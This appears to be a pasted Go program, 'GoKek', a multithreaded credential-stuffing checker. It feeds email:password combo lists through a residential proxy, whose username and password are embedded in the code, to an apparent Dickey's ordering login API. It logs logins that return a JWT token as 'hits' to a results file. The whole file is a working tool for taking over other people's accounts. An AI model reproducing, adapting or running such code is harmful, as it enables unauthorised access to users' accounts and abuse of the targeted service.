Untitled

mail@pastecode.io avatar
unknown
plain_text
7 months ago
8.6 kB
1
Indexable
Never
package main

import (
	"bufio"
	"bytes"
	"fmt"
	"github.com/fatih/color"
	"io"
	"net/http"
	"net/url"
	"os"
	"os/exec"
	"strings"
	"sync"
	"syscall"
	"time"
	"unsafe"
)

type Checker struct {
	Info       CheckerInfo
	Statistics Stats
	Theme      Colors
	Select     Menu
}

type CheckerInfo struct {
	CheckerDeveloper string
	CheckerVersion   string
	CheckerName      string
	CheckerAsciiType string
	ModuleName       string
}

type Stats struct {
	TotalCombos  int
	TotalProxies int
	Checked      int
	Hits         int
	Invalids     int
	Errors       int
	Retries      int
	Cpm          int64
	StartTime    int64
	IsFinished   bool
}

type Menu struct {
	Options []string
}

type Colors struct {
	Main  *color.Color
	White *color.Color
	Err   *color.Color
	Green *color.Color
	Red   *color.Color
}

func main() {
	checker := CreateChecker()
	checker.Setup()
}

func CreateChecker() *Checker {
	return &Checker{
		Info: CheckerInfo{
			CheckerDeveloper: "@infect",
			CheckerVersion:   "v1.0.0",
			CheckerName:      "GoKek",
			CheckerAsciiType: "standard",
			ModuleName:       "Dickeys",
		},
		Statistics: Stats{
			TotalCombos:  0,
			TotalProxies: 0,
			Checked:      0,
			Hits:         0,
			Invalids:     0,
			Errors:       0,
			Retries:      0,
			Cpm:          0,
			StartTime:    0,
			IsFinished:   false,
		},
		Theme: Colors{
			Main:  color.New(color.FgHiCyan),
			White: color.New(color.FgWhite),
			Err:   color.New(color.FgHiMagenta),
			Green: color.New(color.FgGreen),
			Red:   color.New(color.FgRed),
		},
		Select: Menu{
			Options: []string{"Start", "Exit"},
		},
	}
}

func (checker *Checker) Setup() {

	title := fmt.Sprintf("%s - (%s) | Made by %s", checker.Info.CheckerName, checker.Info.ModuleName, checker.Info.CheckerDeveloper)

	checker.SetupDir()

	checker.Cls(true)

	checker.SetTitle(title)

	checker.PrintMenu(checker.Select.Options, true)

	var options int

	fmt.Scan(&options)

	switch options {
	case 1:
		checker.Start()
		break
	case 2:
		os.Exit(0)
		break
	default:
		checker.Setup()
	}
}

func (checker *Checker) Start() {

	comboFile, err := os.Open("combos.txt")
	if err != nil {
		checker.PrintErr(err)
	}
	defer comboFile.Close()

	comboScanner := bufio.NewScanner(comboFile)

	if err := comboScanner.Err(); err != nil {
		checker.PrintErr(err)
	}

	comboFileCount, err := os.Open("combos.txt")
	if err != nil {
		checker.PrintErr(err)
	}
	defer comboFileCount.Close()

	comboScannerCount := bufio.NewScanner(comboFileCount)

	if err := comboScannerCount.Err(); err != nil {
		checker.PrintErr(err)
	}

	for comboScannerCount.Scan() {
		checker.Statistics.TotalCombos++
	}

	checker.PrintOption("Threads: ")

	var threads int

	fmt.Scan(&threads)

	checker.Cls(false)

	checker.Statistics.StartTime = time.Now().Unix()

	timeValue := time.Unix(checker.Statistics.StartTime, 0)

	fileDate := timeValue.Format("02-01-2006 15-04-05")

	filePath := fmt.Sprintf("Results/%s.txt", fileDate)

	var waitGroup sync.WaitGroup

	comboChannel := make(chan string)
	hitsChannel := make(chan string)

	proxyURL, _ := url.Parse("http://edfcovvuquezekl17Q-res-ROW:wvbuejovvsbx67Y@server.siloproxy.com:5959")
	proxy := http.ProxyURL(proxyURL)
	transport := &http.Transport{Proxy: proxy}

	go checker.UpdateStats()
	go checker.SaveHits(hitsChannel, filePath)

	for i := 0; i < threads; i++ {
		waitGroup.Add(1)

		go func() {
			defer waitGroup.Done()

			for combo := range comboChannel {

				credentials := strings.Split(combo, ":")

				if len(credentials) < 2 {
					continue
				}

				email := credentials[0]
				password := credentials[1]

				postData := []byte(fmt.Sprintf(`{"email":"%s","password":"%s"}`, email, password))

				req, err := http.NewRequest("POST", "https://2fjcaws5j1.execute-api.us-east-1.amazonaws.com/production/login/loginOLO", bytes.NewBuffer(postData))
				req.Header.Add("Content-Type", "application/json")
				if err != nil {
					checker.PrintErr(err)
				}

				client := &http.Client{
					Transport: transport,
				}
				res, err := client.Do(req)
				if err != nil {
					checker.PrintErr(err)
				}

				defer res.Body.Close()

				body, err := io.ReadAll(res.Body)

				if err != nil {
					checker.PrintErr(err)
				}

				response := string(body)

				if strings.Contains(response, "Your Email or Password is incorrect") {
					checker.Statistics.Invalids++
					checker.Statistics.Checked++
					checker.PrintData(combo, false)
				} else if strings.Contains(response, "jwt_token") {
					hitsChannel <- combo
					checker.Statistics.Hits++
					checker.Statistics.Checked++
					checker.PrintData(combo, true)
				}
			}

		}()
	}

	for comboScanner.Scan() {
		combo := comboScanner.Text()
		comboChannel <- combo
	}

	waitGroup.Wait()
	close(comboChannel)
	close(hitsChannel)

	checker.Statistics.IsFinished = true

	checker.PrintOption("Finished checking...")
	fmt.Scan()
}

func (checker *Checker) SetTitle(title string) (int, error) {
	handle, err := syscall.LoadLibrary("Kernel32.dll")
	if err != nil {
		return 0, err
	}
	defer syscall.FreeLibrary(handle)
	proc, err := syscall.GetProcAddress(handle, "SetConsoleTitleW")
	if err != nil {
		return 0, err
	}
	r, _, err := syscall.Syscall(proc, 1, uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))), 0, 0)
	return int(r), err
}

func (checker *Checker) WriteToFile(data string, filePath string) {
	file, err := os.OpenFile(filePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	if err != nil {
		checker.PrintErr(err)
		return
	}

	defer file.Close()

	if _, err := file.WriteString(data + "\n"); err != nil {
		checker.PrintErr(err)
	}
}

func (checker *Checker) UpdateStats() {
	for !checker.Statistics.IsFinished {
		checker.Statistics.Cpm = checker.CalcCpm(checker.Statistics.Checked, checker.Statistics.StartTime)
		title := fmt.Sprintf("%s - (%s) | Checked: %d/%d | Hits: %d | Invalids: %d | Errors: %d | Retries: %d | CPM: %d", checker.Info.CheckerName, checker.Info.ModuleName, checker.Statistics.Checked, checker.Statistics.TotalCombos, checker.Statistics.Hits, checker.Statistics.Invalids, checker.Statistics.Errors, checker.Statistics.Retries, checker.Statistics.Cpm)
		checker.SetTitle(title)
		time.Sleep(500 * time.Millisecond)
	}
}

func (checker *Checker) CalcCpm(checked int, startTime int64) int64 {
	if checked == 0 {
		return 0
	}
	cpm := int64(checked * 60) / (time.Now().Unix() - startTime)
	return cpm
}

func (checker *Checker) Cls(withLogo bool) {
	cmd := exec.Command("cmd", "/c", "cls")
	cmd.Stdout = os.Stdout
	cmd.Run()

	if withLogo {
		checker.PrintLogo()
	}
}

func (checker *Checker) PrintMenu(elements []string, isEndline bool) {
	var i int = 0
	for _, element := range elements {
		i++
		checker.PrintMessage(i, element)
	}

	if isEndline {
		fmt.Println()
		checker.PrintOption("Input: ")
	}
}

func (checker *Checker) PrintMessage(index int, message string) {
	checker.Theme.Main.Print("[")
	checker.Theme.White.Print(index)
	checker.Theme.Main.Print("]")
	checker.Theme.White.Printf(" %s\n", message)
}

func (checker *Checker) PrintOption(message string) {
	checker.Theme.Main.Print("[")
	checker.Theme.White.Print("~")
	checker.Theme.Main.Print("]")
	checker.Theme.White.Printf(" %s", message)
}

func (checker *Checker) PrintData(data string, isHit bool) {
	if isHit == true {
		checker.Theme.Green.Printf("[+] %s\n", data)
	} else {
		checker.Theme.Red.Printf("[-] %s\n", data)
	}
}

func (checker *Checker) PrintErr(err error) {
	checker.Theme.Err.Printf("[/] %s\n", err)
}

func (checker *Checker) PrintLogo() {
	url := fmt.Sprintf("https://asciified.thelicato.io/api/v2/ascii?text=%s&font=%s", checker.Info.CheckerName, checker.Info.CheckerAsciiType)
	resp, err := http.Get(url)
	if err != nil {
		checker.PrintErr(err)
	}
	defer resp.Body.Close()
	body, err := io.ReadAll(resp.Body)
	if err != nil {
		checker.PrintErr(err)
	}
	Ascii := string(body)
	checker.Theme.Main.Println(Ascii)
}

func (checker *Checker) SetupDir() {
	err := os.Mkdir("Results", 0750)
	if err != nil && !os.IsExist(err) {
		checker.PrintErr(err)
	}
}

func (checker *Checker) SaveHits(hitsChannelannel chan string, filePath string) {
	for hit := range hitsChannelannel {
		checker.WriteToFile(hit, filePath)
	}
}